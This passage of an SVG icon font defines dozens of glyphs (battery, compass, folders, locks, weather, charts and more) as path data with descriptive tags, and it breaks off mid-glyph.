<glyph unicode="&#xe22f;" d="M 392,216l0,28 c0,15.4-12.6,28-28,28L 28,272 c-15.4,0-28-12.6-28-28l0-56 l 88.886,0 c 11.55,32.606, 42.56,56, 79.114,56l0-28 l 56,0 l0-28 l-56,0 l0-56 l 56,0 l0-28 l-56,0 l0-28 
	c-36.554,0-67.578,23.394-79.114,56L0,132 l0-56 c0-15.4, 12.6-28, 28-28l 336,0 c 15.4,0, 28,12.6, 28,28l0,28 l 56,0 l0,112 L 392,216 z" data-tags="battery-charging" />
<glyph unicode="&#xe230;" d="M 253.75,189.694c 11.158-11.186, 14.112-27.020, 10.066-41.202L 336,272l-121.842-71.946
				C 227.934,203.456, 242.97,200.474, 253.75,189.694zM 194.362,130.306c-10.822,10.794-13.776,25.9-10.388,39.704L 112,48l 123.648,72.24
				C 221.424,116.138, 205.576,119.092, 194.362,130.306zM 224,328c 92.638,0, 168-75.362, 168-168s-75.362-168-168-168S 56,67.362, 56,160S 131.362,328, 224,328 M 224,384
			C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384L 224,384z" data-tags="compass, location, map" />
<glyph unicode="&#xe231;" d="M0,216L 448,216L 448-64L0-64zM 252,272L 448,272L 392,384L 252,384 		zM 196,384L 56,384L0,272L 196,272 		z" data-tags="box" />
<glyph unicode="&#xe232;" d="M 224,327.972L 224,384 L0,384 l0-392 c0-30.954, 25.046-56, 56-56l 336,0 c 30.898,0, 56,25.046, 56,56L 448,327.972 L 224,327.972 z M 392,159.944L 392-8 L 56-8 L 56,160 l 336,0 L 392,159.944 z
	 M 392,216L 56,216 L 56,328 l 112,0 l0-0.028 L 168,272 l 224,0 L 392,216 z" data-tags="folder-stroke, category" />
<glyph unicode="&#xe233;" d="M 448-36c0-15.47-12.53-28-28-28L 28-64 c-15.47,0-28,12.53-28,28L0,216 l 448,0 L 448-36 zM 168,327.972L 168,384L0,384L0,272L 448,272L 448,327.972 		z" data-tags="folder-fill, category" />
<glyph unicode="&#xe234;" d="M 417.816,48C 437.010,80.97, 448,119.092, 448,160c0,123.704-100.296,224-224,224S0,283.704,0,160s 100.296-224, 224-224
		c 61.852,0, 117.852,25.046, 158.368,65.632L 342.72,41.28C 312.326,10.816, 270.326-8, 224-8C 131.362-8, 56,67.362, 56,160S 131.362,328, 224,328s 168-75.362, 168-168
		c0-19.908-3.822-38.934-10.22-56.658L 381.332,104L 336,104 L 336,271.398 l-112,0 c-61.852,0-112-50.148-112-112s 50.148-112, 112-112c 25.704,0, 49.112,9.030, 68.026,23.576
		C 302.204,57.408, 317.73,48, 336,48L 417.816,48 z M 280,187.888l0-28.49 c0-30.898-25.158-56-56-56s-56,25.102-56,56s 25.158,56, 56,56l 56,0 L 280,187.888 z" data-tags="at, email" />
<glyph unicode="&#xe235;" d="M 128.968-64c-33.026,0-66.066,12.572-91.28,37.674c-50.26,50.372-50.26,132.286,0,182.546l 113.582,111.132
		c 6.454,6.51, 10.178,15.428, 10.178,24.99c0,9.52-3.724,18.48-10.388,25.27C 137.172,331.5, 114.534,331.444, 100.534,317.556
		C 86.744,303.668, 86.744,281.030, 100.632,267.128L 60.984,227.48C 25.284,263.25, 25.284,321.378, 60.942,357.148c 35.868,35.826, 93.954,35.77, 129.696,0.056
		c 17.388-17.332, 26.908-40.418, 26.908-64.918c0-24.5-9.52-47.53-26.908-64.806l-113.554-111.076c-28.28-28.224-28.28-74.592, 0.28-103.082
		c 28.434-28.49, 74.816-28.434, 103.362,0c 28.406,28.49, 28.406,74.872,0,103.306l-19.908,19.796l 60.9,60.872l 39.592-39.592l-23.408-23.408
		c 31.724-49.868, 25.928-117.026-17.612-160.566C 195.118-51.428, 161.994-64, 128.968-64L 128.968-64z" horiz-adv-x="260.75" data-tags="ampersand, and" />
<glyph unicode="&#xe236;" d="M 28,160c 15.47,0, 28-12.53, 28-28l0-112 c0-15.47-12.53-28-28-28L0-8 l0-56 l 224,0 l0,56 l-27.888,0 C 180.684-8, 168,4.53, 168,20l-0.056,196L0,216 
			l0-56 L 28,160 zM 56,328A56,56 1620 1 1 168,328A56,56 1620 1 1 56,328z" horiz-adv-x="224" data-tags="info" />
<glyph unicode="&#xe237;" d="M 78.4-36A28,28 1620 1 1 134.4-36A28,28 1620 1 1 78.4-36zM 107.464,20.322c-18.704,0-36.26,7.28-49.49,20.51s-20.51,30.786-20.51,49.49s 7.28,36.26, 20.51,49.49
			l 93.632,93.632C 162.204,244.028, 168,258.084, 168,273.036s-5.796,29.008-16.408,39.592c-21.826,21.84-57.344,21.882-79.156,0
			C 61.824,302.044, 56,288.002, 56,273.036L0,273.036 c0,29.918, 11.676,58.058, 32.872,79.226c 42.28,42.322, 115.99,42.294, 158.326-0.028
			C 212.352,331.108, 224,302.982, 224,273.036c0-29.918-11.648-58.030-32.816-79.184L 97.566,100.22c-5.446-5.474-5.446-14.322,0-19.796
			c 5.474-5.474, 14.322-5.474, 19.796,0c 3.556,3.556, 4.102,7.77, 4.102,9.898l 56,0 c0-18.704-7.28-36.26-20.51-49.49
			S 126.168,20.322, 107.464,20.322L 107.464,20.322z" horiz-adv-x="224" data-tags="question-mark, help" />
<glyph unicode="&#xe238;" d="M 336,384l-56,0 l-56,0 l-56,0 L 112,384 C 50.148,384,0,333.852,0,272s 50.148-112, 112-112l0-224 l 56,0 L 168,328 l 56,0 l0-392 l 56,0 L 280,328 l 56,0 L 336,384 z" horiz-adv-x="336" data-tags="pilcrow" />
<glyph unicode="&#xe239;" d="M 392,216L 392,272 l-70.056,0 l 14,112l-56,0 l-14-112l-111.972,0 l 14,112l-56,0 l-14-112L0,272 l0-56 l 90.972,0 L 77,104L0,104 l0-56 l 70,0 l-14-112l 56,0 l 14,112l 111.972,0 l-14-112L 280-64 
		l 14,112l 98,0 l0,56 l-91,0 l 13.944,112L 392,216 z M 244.972,104L 133,104 l 13.972,112l 111.972,0 L 244.972,104z" horiz-adv-x="392" data-tags="hash, number" />
<glyph unicode="&#xe23a;" d="M 448-8L 448,160 l-112,0 c0,61.74, 50.204,112, 112,112L 448,328 c-92.638,0-168-75.362-168-168l0-168 L 448-8 zM 168-8L 168,160 L 56,160 c0,61.74, 50.204,112, 112,112L 168,328 C 75.362,328,0,252.638,0,160l0-168 L 168-8 z" data-tags="left-quote, quote" />
<glyph unicode="&#xe23b;" d="M0,328l0-168 l 112,0 c0-61.74-50.204-112-112-112l0-56 c 92.638,0, 168,75.362, 168,168L 168,328 L0,328 zM 280,328l0-168 l 112,0 c0-61.74-50.204-112-112-112l0-56 c 92.638,0, 168,75.362, 168,168L 448,328 L 280,328 z" data-tags="right-quote, quote" />
<glyph unicode="&#xe23c;" d="M 448-8L 448,328L 280,160L 280-8 		zM 168-8L 168,328L0,160L0-8 		z" data-tags="left-quote-alt, quote" />
<glyph unicode="&#xe23d;" d="M0,328L0-8L 168,160L 168,328 		zM 280,328L 280-8L 448,160L 448,328 		z" data-tags="right-quote-alt, quote" />
<glyph unicode="&#xe23e;" d="M 448,328L0,328L0,384L 448,384 		zM 280,216L0,216L0,272L 280,272 		zM 448,48L0,48L0,104L 448,104 		zM 336-64L0-64L0-8L 336-8 		zM 448-36c0-15.47-12.558-28-27.972-28C 404.516-64, 392-51.47, 392-36s 12.516,28, 28.028,28C 435.442-8, 448-20.53, 448-36z" data-tags="article" />
<glyph unicode="&#xe23f;" d="M 448,328L0,328L0,384L 448,384 		zM 280,216L0,216L0,272L 280,272 		zM 448,104L0,104L0,160L 448,160 		zM0-36A28,28 1620 1 1 56-36A28,28 1620 1 1 0-36zM 224-36A28,28 1620 1 1 280-36A28,28 1620 1 1 224-36zM 112-36A28,28 1620 1 1 168-36A28,28 1620 1 1 112-36z" data-tags="read-more, more" />
<glyph unicode="&#xe240;" d="M0,352.002A31.998,31.998 1620 1 1 63.996,352.002A31.998,31.998 1620 1 1 0,352.002zM0,223.994A31.998,31.998 1620 1 1 63.996,223.994A31.998,31.998 1620 1 1 0,223.994zM0,96.002A31.998,31.998 1620 1 1 63.996,96.00200000000001A31.998,31.998 1620 1 1 0,96.00200000000001zM0-32.006A31.998,31.998 1620 1 1 63.996-32.00599999999997A31.998,31.998 1620 1 1 0-32.00599999999997zM 128.008,384L 511.968,384L 511.968,320.004L 128.008,320.004zM 128.008,255.992L 511.968,255.992L 511.968,191.996L 128.008,191.996zM 128.008,128L 511.968,128L 511.968,64.004L 128.008,64.004zM 128.008-0.008L 511.968-0.008L 511.968-64.004L 128.008-64.004z" horiz-adv-x="511.875" data-tags="list" />
<glyph unicode="&#xe241;" d="M0,352A32,32 1620 1 1 64,352A32,32 1620 1 1 0,352zM 128,384L 512,384L 512,320L 128,320zM 128,224A32,32 1620 1 1 192,224A32,32 1620 1 1 128,224zM 256,256L 512,256L 512,192L 256,192zM 128-32A32,32 1620 1 1 192-32A32,32 1620 1 1 128-32zM 256,0L 512,0L 512-64L 256-64zM 256,96A32,32 1620 1 1 320,96A32,32 1620 1 1 256,96zM 384,128L 512,128L 512,64L 384,64z" horiz-adv-x="511.875" data-tags="list-nested, nested" />
<glyph unicode="&#xe242;" d="M 56,384C 25.2,384,0,358.8,0,328l0-336 c0-30.8, 25.2-56, 56-56l 336,0 L 392,384 L 56,384 z M 336-8L 112-8 L 112,328 l 56,0 l0-112 l 56,56l 56-56L 280,328 l 56,0 L 336-8 z" horiz-adv-x="392" data-tags="book, read" />
<glyph unicode="&#xe243;" d="M 448,328l-56,0 L 392,384 L 56,384 C 25.2,384,0,358.8,0,328l0-336 c0-30.8, 25.2-56, 56-56l 336,0 L 392,216 l 56,0 l-56,56L 448,328z M 336-8L 112-8 L 112,328 l 224,0 L 336-8 zM 168,272L 280,272L 280,216L 168,216z" data-tags="book-alt, read" />
<glyph unicode="&#xe244;" d="M 224,300c0,0-56,56-224,56l0-336 c 169.75,0, 224-56, 224-56s 54.25,56, 224,56L 448,356 C 280,356, 224,300, 224,300z M 56,300
		c 71.176-5.964, 114.842-22.428, 140-35.77l0-225.526 c-25.158,13.286-68.824,29.75-140,35.77L 56,300 z M 392,74.474c-71.204-6.020-114.842-22.456-140-35.77
		L 252,264.23 C 277.158,277.572, 320.796,294.036, 392,300L 392,74.474 z" data-tags="book-alt2, read" />
<glyph unicode="&#xe245;" d="M 415.184,351.184C 393.372,373.066, 364.714,384, 336,384c-28.658,0-57.316-10.934-79.184-32.816L 0.434,94.816L0-64
		l 158.368,0 l 256.816,256.816C 458.934,236.566, 458.934,307.434, 415.184,351.184z M 135.184-8L 112-8 l0,56 L 56.322,48 l 0.056,23.52L 296.408,311.592l0,0l 79.184-79.184
		l0,0L 135.184-8z" data-tags="pen, write, blog" />
<glyph unicode="&#xe246;" d="M 415.184,351.184C 393.316,373.066, 364.658,384, 336,384s-57.316-10.934-79.184-32.816L 0.434,94.816L0-64l 158.368,0 
		l 256.816,256.816C 458.934,236.566, 458.934,307.434, 415.184,351.184z M 135.184-8L 134.582-8 c 21.868,21.868, 21.868,57.75,0,79.632
		c-20.944,20.944-54.026,21.224-76.020,2.072L 295.918,311.046l 79.184-79.184L 135.184-8z" data-tags="pen-alt-stroke, write, blog" />
<glyph unicode="&#xe247;" d="M 415.184,351.184c-43.694,43.75-114.674,43.75-158.368,0L 0.434,94.816L0-64l 158.368,0 l 256.816,256.816
				C 458.934,236.566, 458.934,307.434, 415.184,351.184z M 134.582-8L 55.398-8 l0,79.632 c 21.868,21.868, 57.316,21.868, 79.184,0S 156.464,13.868, 134.582-8z
				 M 374.556,232.408l-79.184,79.184c 21.868,21.868, 57.316,21.868, 79.184,0S 396.424,254.276, 374.556,232.408z" data-tags="pen-alt-fill, write, blog" />
<glyph unicode="&#xe248;" d="M 431.579,367.593c-21.867,21.867-57.314,21.867-79.181,0l-211.743-211.813
			c 18.927-4.928, 36.427-14.433, 50.636-28.657c 14.433-14.433, 23.631-32.045, 28.545-50.524l 211.743,211.813C 453.46,310.279, 453.46,345.725, 431.579,367.593z
			M 151.7,8.349c 21.867,21.867, 21.867,57.314,0,79.181s-57.314,21.867-79.181,0L0-64L 151.7,8.349z" horiz-adv-x="447.125" data-tags="pen-alt2, pen, write, blog" />
<glyph unicode="&#xe249;" d="M 431.564,367.592c-21.868,21.868-57.316,21.868-79.184,0L 192.78,208.020c 36.974-13.174, 66.066-42.28, 79.184-79.24
				l 159.6,159.628C 453.446,310.276, 453.446,345.724, 431.564,367.592zM 223.944,85.352c0,41.23-33.474,74.648-74.704,74.648s-74.648-33.418-74.648-74.648l 0.056-0.056
			C 74.592,30.066, 44.576-18.122,0-43.924l 0.224-0.28C 22.148-56.776, 47.53-64, 74.648-64C 157.122-64, 224,2.878, 224,85.352L 223.944,85.352 z" horiz-adv-x="447.125" data-tags="brush, paint" />
<glyph unicode="&#xe24a;" d="M 168,48c0,30.954-25.102,56-56,56c-30.954,0-56-25.046-56-56l0-0.112 c0-41.398-22.526-77.49-56-96.852l 0.224-0.168
			C 16.632-58.582, 35.658-64, 56-64C 117.852-64, 168-13.852, 168,48L 168,48zM 431.564,367.592c-21.868,21.868-57.316,21.868-79.184,0L 140.658,155.842c 38.612-10.332, 68.908-40.572, 79.184-79.24
			L 431.564,288.408C 453.446,310.276, 453.446,345.724, 431.564,367.592z" horiz-adv-x="447.125" data-tags="brush-alt, paint" />
<glyph unicode="&#xe24b;" d="M 415.17,192.424c 43.694,43.666, 43.694,114.52,0,158.158c-21.826,21.826-50.47,32.76-79.072,32.76
		c-28.574,0-57.232-10.934-79.044-32.76l-8.26-8.26L 207.158,384l-39.48-39.508l 41.678-41.65L0,93.36l0-101.472 L 55.020-64l 103.796,0 l 208.614,208.684
		l 40.25-40.278l 39.536,39.48l-40.306,40.278L 415.17,192.424z M 144.48,0.862c 0.658,21.224-6.678,42.49-22.806,58.632
		c-14.826,14.868-34.174,22.148-53.648,22.806L 248.892,263.222l 79.002-78.946L 144.48,0.862z" horiz-adv-x="447.125" data-tags="eyedropper, color" />
<glyph unicode="&#xe24c;" d="M0,48L 224.014-8L 448,48L 448-8L 224.014-64L0-8 		zM0,160L 224.014,104L 448,160L 448,104L 224.014,48L0,104 		zM0,272L 224.014,216L 448,272L 448,216L 224.014,160L0,216 		zM0,384L 224.014,328L 448,384L 448,328L 224.014,272L0,328 		z" horiz-adv-x="447.125" data-tags="layers-alt" />
<glyph unicode="&#xe24d;" d="M0,76L 224.014,20L 448,76L 448,20L 224.014-36L0,20 		zM0,188L 224.014,132L 448,188L 448,132L 224.014,76L0,132 		zM0,300L 224.014,356L 448,300L 448,244L 224.014,188L0,244 		z" horiz-adv-x="447.125" data-tags="layers" />
<glyph unicode="&#xe24e;" d="M 112,48L 112,160L 168,216L 224,160L 336,272L 448,160L 448,48 		zM 56-8L 56,384L0,328L0-8L0-64L 56-64L 392-64L 448-8 		z" data-tags="image, picture, photo" />
<glyph unicode="&#xe24f;" d="M 224,104A56,56 1620 1 1 336,104A56,56 1620 1 1 224,104zM 392,272l-46.046,93.002C 342.174,376.048, 331.73,384, 319.368,384L 242.48,384 c-12.502,0-23.044-8.148-26.656-19.39
			L 168.056,272L 56,272 c-30.926,0-56-25.074-56-56l0-280 l 448,0 L 448,216 C 448,246.926, 422.954,272, 392,272z M 84,160c-15.47,0-28,12.53-28,28s 12.53,28, 28,28s 28-12.53, 28-28
			S 99.47,160, 84,160z M 280-8c-61.852,0-112,50.148-112,112s 50.148,112, 112,112s 112-50.148, 112-112S 341.852-8, 280-8z" data-tags="camera, photos, pictures" />
<glyph unicode="&#xe250;" d="M 296.408,188.28l 79.674,135.296C 336.112,360.788, 282.954,384, 224,384c-13.972,0-27.51-1.666-40.768-4.102
			L 296.408,188.28zM 279.342,104l 160.72,0 C 444.724,121.99, 448,140.526, 448,160c0,54.222-20.020,103.278-52.122,142.030L 279.342,104zM 231,244l-75.712,128.128C 92.288,351.702, 41.342,304.956, 16.632,244L 231,244 zM 218.862,76l 75.474-127.638c 62.286,20.776, 112.546,67.214, 137.046,127.638L 218.862,76 zM 169.47,216L 7.924,216 C 3.248,198.010,0,179.474,0,160c0-54.474, 20.23-103.74, 52.584-142.632L 169.47,216zM 152.852,132.546l-80.416-136.612C 112.378-40.928, 165.326-64, 224-64c 14.574,0, 28.77,1.638, 42.546,4.27
			L 152.852,132.546z" data-tags="aperture" />
<glyph unicode="&#xe251;" d="M 424.326,258.378l-139.622-139.622l 159.138,0 C 446.362,132.224, 448,145.888, 448,160
			C 448,195.462, 439.026,228.572, 424.326,258.378zM 294.77,170.64l 114.842,114.786c-27.342,40.306-67.816,70.294-114.842,86.044L 294.77,170.64 zM 234.472,89.23l 114.87-114.898c 40.362,27.286, 70.378,67.816, 86.128,114.898L 234.472,89.23 zM 265.202,219.584L 265.202,379.842 C 251.804,382.334, 238.112,384, 224,384c-35.77,0-69.132-9.156-99.12-24.094L 265.202,219.584zM 182.798,99.072l0-158.928 C 196.196-62.362, 209.888-64, 224-64c 35.434,0, 68.474,8.974, 98.28,23.632
			L 182.798,99.072zM 153.202,149.178L 38.5,34.49c 27.286-40.25, 67.732-70.224, 114.702-85.974L 153.202,149.178 zM 4.158,201.202C 1.666,187.804,0,174.112,0,160c0-35.546, 9.030-68.684, 23.73-98.49l 139.706,139.706L 4.158,201.216 zM 97.944,345.066C 57.974,317.78, 28.196,277.544, 12.53,230.798l 199.696,0 L 97.944,345.066z" data-tags="aperture-alt" />
<glyph unicode="&#xe252;" d="M 192.374,112.428l-140.112,140c-69.678-80.556-69.678-199.458,0-280L 192.374,112.428zM 280.014,325.788l0-205.044 L 135.086-24.24C 167.678-48.572, 207.27-64, 251.020-64C 359.842-64, 448,24.046, 448,132.826
			C 448.014,231.638, 374.752,311.704, 280.014,325.788zM 224,159.776L 224,384 C 162.974,380.22, 107.842,356.868, 63.322,320.482L 224,159.776z" horiz-adv-x="447.125" data-tags="chart, pie" />
<glyph unicode="&#xe253;" d="M 203.462,112.092L 55.37,260.184c-73.822-85.204-73.822-210.98,0-296.184L 203.462,112.092zM 224,132L 224,384 C 155.316,379.73, 93.408,353.48, 43.442,312.572L 224,132zM 252.028,327.776l0-207.368 L 106.666-24.954C 139.258-48.908, 178.528-64, 221.956-64C 331.408-64, 420,24.592, 420,133.862
			C 420,232.954, 346.822,313.23, 252.028,327.776z" horiz-adv-x="420" data-tags="chart-alt, pie" />
<glyph unicode="&#xe254;" d="M 336,384L 448,384L 448-64L 336-64zM 168,272L 280,272L 280-64L 168-64zM0,160L 112,160L 112-64L0-64z" data-tags="bars" />
<glyph unicode="&#xe255;" d="M 336,384L 392,384L 392-64L 336-64zM 224,272L 280,272L 280-64L 224-64zM 112,160L 168,160L 168-64L 112-64zM0,48L 56,48L 56-64L0-64z" horiz-adv-x="392" data-tags="bars-alt" />
<glyph unicode="&#xe256;" d="M 224,328C 100.296,328,0,162.184,0,162.184S 100.296-8, 224-8s 224,170.184, 224,170.184S 347.704,328, 224,328z M 224,48
			c-61.852,0-112,50.148-112,112s 50.148,112, 112,112s 112-50.148, 112-112S 285.852,48, 224,48zM 168,160A56,56 1620 1 1 280,160A56,56 1620 1 1 168,160z" data-tags="eye, views" />
<glyph unicode="&#xe257;" d="M 168,160C 75.25,160,0,84.75,0-8c0-30.954, 25.046-56, 56-56l 224,0 c 30.954,0, 56,25.046, 56,56
			C 336,84.75, 260.75,160, 168,160zM 84,300A84,84 1620 1 1 252,300A84,84 1620 1 1 84,300z" horiz-adv-x="336" data-tags="user, profile, account, avatar" />
<glyph unicode="&#xe258;" d="M 224,384L0,160l 56,0 l0-224 l 336,0 L 392,160 l 56,0 L 224,384z M 336-8l-84,0 l0,84 l-56,0 l0-84 L 112-8 L 112,192.816 L 224,272l 112-79.184L 336-8 z" data-tags="home, house" />
<glyph unicode="&#xe259;" d="M 224,328c 92.638,0, 168-75.362, 168-168s-75.362-168-168-168S 56,67.362, 56,160S 131.362,328, 224,328 M 224,384
			C 100.296,384,0,283.704,0,160s 100.296-224, 224-224s 224,100.296, 224,224S 347.704,384, 224,384L 224,384zM 299.908,123.908L 252,171.872L 252,272 l-56.322,0 l0-111.888 c0-8.428, 3.878-15.694, 9.73-20.888l 54.908-54.908
			L 299.908,123.908z" data-tags="clock, time" />
<glyph unicode="&#xe25a;" d="M 196.056,384c-77.14,0-139.972-62.776-139.972-140l0-28 L0,216 l0-196 c0-46.27, 37.73-84, 83.972-84L 252-64 c 46.382,0, 84,37.73, 84,84L 336,244 
			C 336,321.224, 273.224,384, 196.056,384z M 112.084,244c0,46.368, 37.702,84, 83.972,84C 242.382,328, 280,290.368, 280,244l0-28 L 112.084,216 L 112.084,244 z M 252-8L 83.972-8 
			c-15.428,0-28,12.572-28,28L 55.972,160 L 280,160 l0-140 C 280,4.572, 267.526-8, 252-8zM 196,76c0-15.428-12.572-28-28-28c-15.526,0-28,12.572-28,28c0,15.526, 12.474,28, 28,28C 183.428,104, 196,91.526, 196,76z" horiz-adv-x="336" data-tags="lock-stroke" />
<glyph unicode="&#xe25b;" d="M 196,384C 118.888,384, 56.056,321.224, 56.056,244l0-28 L0,216 l0-196 c0-46.326, 37.674-84, 84-84l 168,0 c 46.326,0, 84,37.674, 84,84L 336,244 
		C 336,321.224, 273.168,384, 196,384z M 167.944,48C 152.53,48, 140,60.53, 140,76s 12.53,28, 27.944,28c 15.47,0, 28-12.53, 28-28S 183.428,48, 167.944,48z M 280,216
		L 112.056,216 l0,28 c0,46.326, 37.674,84, 83.944,84c 46.326,0, 84-37.674, 84-84L 280,216 z" horiz-adv-x="336" data-tags="lock-fill" />
<glyph unicode="&#xe25c;" d="M 196.056,384C 118.86,384, 56.084,321.168, 56.084,244l 56,0 c0,46.27, 37.646,84, 83.972,84S 280,290.27, 280,244l0-28 L0,216 l0-196 
			c0-46.368, 37.674-84, 83.972-84L 252-64 c 46.326,0, 84,37.632, 84,84L 336,244 C 336,321.168, 273.224,384, 196.056,384z M 252-8L 83.972-8 c-15.428,0-28,12.53-28,28L 55.972,160 L 280,160 l0-140 
			C 280,4.53, 267.428-8, 252-8zM 196,76c0-15.526-12.53-28-28-28s-28,12.474-28,28c0,15.428, 12.53,28, 28,28S 196,91.428, 196,76z" horiz-adv-x="336" data-tags="unlock-stroke" />
<glyph unicode="&#xe25d;" d="M 196.056,384C 118.832,384, 56.112,321.224, 56.112,244l 55.944,0 c0,46.326, 37.632,84, 84,84C 242.326,328, 280,290.326, 280,244l0-28 L0,216 l0-196 
		c0-46.326, 37.73-84, 84-84l 168,0 c 46.27,0, 84,37.674, 84,84L 336,244 C 336,321.224, 273.168,384, 196.056,384z M 168,48c-15.428,0-28,12.53-28,28s 12.572,28, 28,28
		c 15.526,0, 28-12.53, 28-28S 183.526,48, 168,48z" horiz-adv-x="336" data-tags="unlock-fill" />
<glyph unicode="&#xe25e;" d="M0,384l0-185.822 L 262.178-64c0,0,0,151.102,0,185.78c 34.678,0, 185.822,0, 185.822,0L 185.822,384L0,384 z M 165.158,334.132
				c 10.822-10.78, 110.306-110.362, 162.428-162.47c-43.428,0-115.276,0-115.276,0s0-71.862,0-115.178C 160.174,108.536, 60.704,208.076, 49.868,218.786
				c0,14.77,0,83.454,0,115.332C 81.76,334.132, 150.388,334.132, 165.158,334.132zM 163.786,263.418c0-23.842-19.362-43.204-43.148-43.204c-23.842,0-43.204,19.362-43.204,43.204
			c0,23.786, 19.362,43.092, 43.204,43.092C 144.424,306.51, 163.786,287.204, 163.786,263.418z" data-tags="tag-stroke, price" />
<glyph unicode="&#xe25f;" d="M 185.878,384L0,384 l0-185.878 L 262.066-64L 262.066,121.878 L 448,121.878 L 185.878,384z M 102.368,228.306c-29.428,0-53.27,23.842-53.27,53.27
		S 72.94,334.846, 102.368,334.846s 53.27-23.842, 53.27-53.27S 131.796,228.306, 102.368,228.306z" data-tags="tag-fill, price" />
<glyph unicode="&#xe260;" d="M 224.014,216c 30.842,0, 56-25.13, 56-56s-25.158-56-56-56s-56,25.13-56,56S 193.172,216, 224.014,216 M 224.014,272
			c-61.852,0-112-50.148-112-112s 50.148-112, 112-112C 285.866,48, 336,98.148, 336,160S 285.866,272, 224.014,272L 224.014,272zM 196,356A28,28 1620 1 1 252,356A28,28 1620 1 1 196,356zM 56,300A28,28 1620 1 1 112,300A28,28 1620 1 1 56,300zM 28,188c 15.47,0, 28-12.53, 28-28c0-15.498-12.53-28-28-28s-28,12.502-28,28C0,175.47, 12.53,188, 28,188zM 56,20A28,28 1620 1 1 112,20A28,28 1620 1 1 56,20zM 196-36c0,15.526, 12.53,28, 28,28c 15.512,0, 28-12.474, 28-28c0-15.428-12.488-28-28-28C 208.53-64, 196-51.428, 196-36zM 336,20A28,28 1620 1 1 392,20A28,28 1620 1 1 336,20zM 420,132c-15.456,0-28,12.544-28,28c0,15.498, 12.544,28, 28,28s 28-12.502, 28-28C 448,144.544, 435.456,132, 420,132zM 336,300A28,28 1620 1 1 392,300A28,28 1620 1 1 336,300z" horiz-adv-x="447.125" data-tags="sun-stroke, weather" />
<glyph unicode="&#xe261;" d="M 224.014,272c-61.852,0-112-50.148-112-112s 50.148-112, 112-112C 285.866,48, 336,98.148, 336,160S 285.866,272, 224.014,272L 224.014,272zM 196,356A28,28 1620 1 1 252,356A28,28 1620 1 1 196,356zM 56,300A28,28 1620 1 1 112,300A28,28 1620 1 1 56,300zM 28,188c 15.47,0, 28-12.53, 28-28c0-15.498-12.53-28-28-28s-28,12.502-28,28C0,175.47, 12.53,188, 28,188zM 56,20A28,28 1620 1 1 112,20A28,28 1620 1 1 56,20zM 196-36c0,15.526, 12.53,28, 28,28c 15.512,0, 28-12.474, 28-28c0-15.428-12.488-28-28-28C 208.53-64, 196-51.428, 196-36zM 336,20A28,28 1620 1 1 392,20A28,28 1620 1 1 336,20zM 420,132c-15.456,0-28,12.544-28,28c0,15.498, 12.544,28, 28,28s 28-12.502, 28-28C 448,144.544, 435.456,132, 420,132zM 336,300A28,28 1620 1 1 392,300A28,28 1620 1 1 336,300z" horiz-adv-x="447.125" data-tags="sun-fill, weather" />
<glyph unicode="&#xe262;" d="M 82.53,255.928c 11.872-125.426, 112-225.526, 237.398-237.342c-26.74-16.954-58.128-26.572-91-26.572
		C 133.546-8, 56,69.546, 56,164.956C 56,197.814, 65.632,229.174, 82.53,255.928 M 165.816,384C 70.28,356.434,0,269.354,0,164.956C0,38.48, 102.48-64, 228.928-64
		c 104.398,0, 191.52,70.322, 219.072,165.816c-30.52-17.612-65.408-28.434-103.138-28.434c-114.632,0-207.48,92.946-207.48,207.508
		C 137.368,318.62, 148.204,353.508, 165.816,384L 165.816,384z" data-tags="moon-stroke, night" />
<glyph unicode="&#xe263;" d="M 344.862,73.424c-114.632,0-207.48,92.918-207.48,207.48c0,37.73, 10.822,72.632, 28.434,103.082
			C 70.28,356.434,0,269.368,0,164.97C0,38.536, 102.48-64, 228.928-64c 104.398,0, 191.52,70.322, 219.072,165.816
			C 417.48,84.26, 382.592,73.424, 344.862,73.424z" data-tags="moon-fill, night" />
<glyph unicode="&#xe264;" d="M 336,244c-5.306,0-10.332-0.854-15.428-1.554C 301.056,276.956, 264.964,300, 224,300c-41.832,0-77.924-23.324-97.174-57.4
		C 121.898,243.258, 116.97,244, 112,244c-61.74,0-112-50.232-112-112c0-61.796, 50.26-112, 112-112l 224,0 c 61.74,0, 112,50.204, 112,112C 448,193.768, 397.74,244, 336,244z M 336,76L 112,76 
		c-30.898,0-56,25.158-56,56c0,30.702, 27.174,54.39, 56.056,55.23c 0.112-13.202, 2.408-26.166, 7-38.416l 52.444,19.628
		C 169.148,174.658, 168,181.252, 168,188c0,30.87, 25.102,56, 56,56c 18.102,0, 34.51-8.974, 44.786-22.946C 241.78,200.6, 224,168.47, 224,132l 56,0 
		c0,30.87, 25.102,56, 56,56s 56-25.13, 56-56C 392,101.158, 366.898,76, 336,76z" data-tags="cloud, weather" />
<glyph unicode="&#xe265;" d="M 335.972,300c-5.25,0-10.262-0.854-15.442-1.554C 301.084,332.956, 264.964,356, 224,356c-41.818,0-77.91-23.324-97.16-57.4
			C 121.898,299.258, 116.97,300, 112,300c-61.74,0-112-50.232-112-112s 50.26-112, 112-112l 223.972,0 c 61.796,0, 112,50.232, 112,112S 397.768,300, 335.972,300z M 335.972,132L 112,132 
			c-30.898,0-56,25.13-56,56c0,30.702, 27.174,54.39, 56.056,55.23c 0.126-13.202, 2.408-26.166, 7-38.416l 52.444,19.628
			C 169.148,230.658, 168,237.252, 168,244c0,30.87, 25.102,56, 56,56c 18.102,0, 34.51-8.974, 44.786-22.946C 241.794,256.6, 224,224.47, 224,188l 56,0 
			c0,30.87, 25.13,56, 55.972,56c 30.954,0, 56-25.13, 56-56S 366.926,132, 335.972,132zM 45.934-28.132c-10.5-10.5-27.566-10.5-38.066,0s-10.5,27.566,0,38.066S 84,48, 84,48S 56.434-17.632, 45.934-28.132zM 157.99-28.132c-10.5-10.5-27.51-10.5-38.066,0c-10.5,10.5-10.5,27.566,0,38.066
			C 130.48,20.434, 196.056,48, 196.056,48S 168.546-17.632, 157.99-28.132zM 269.92-28.132c-10.5-10.5-27.566-10.5-38.066,0s-10.5,27.566,0,38.066S 307.972,48, 307.972,48
			S 280.42-17.632, 269.92-28.132z" horiz-adv-x="447.125" data-tags="rain, weather, cloud" />
<glyph unicode="&#xe266;" d="M 224,384C 100.52,384,0,283.508,0,160l 56,0 c0,11.564, 9.464,21, 21,21C 88.592,181, 98,171.564, 98,160l 56,0 
		c0,11.564, 9.464,21, 21,21c 11.592,0, 21-9.436, 21-21l0-140 c0-15.428-12.53-28-28-28c-15.428,0-28,12.572-28,28L 84,20 c0-46.326, 37.73-84, 84-84
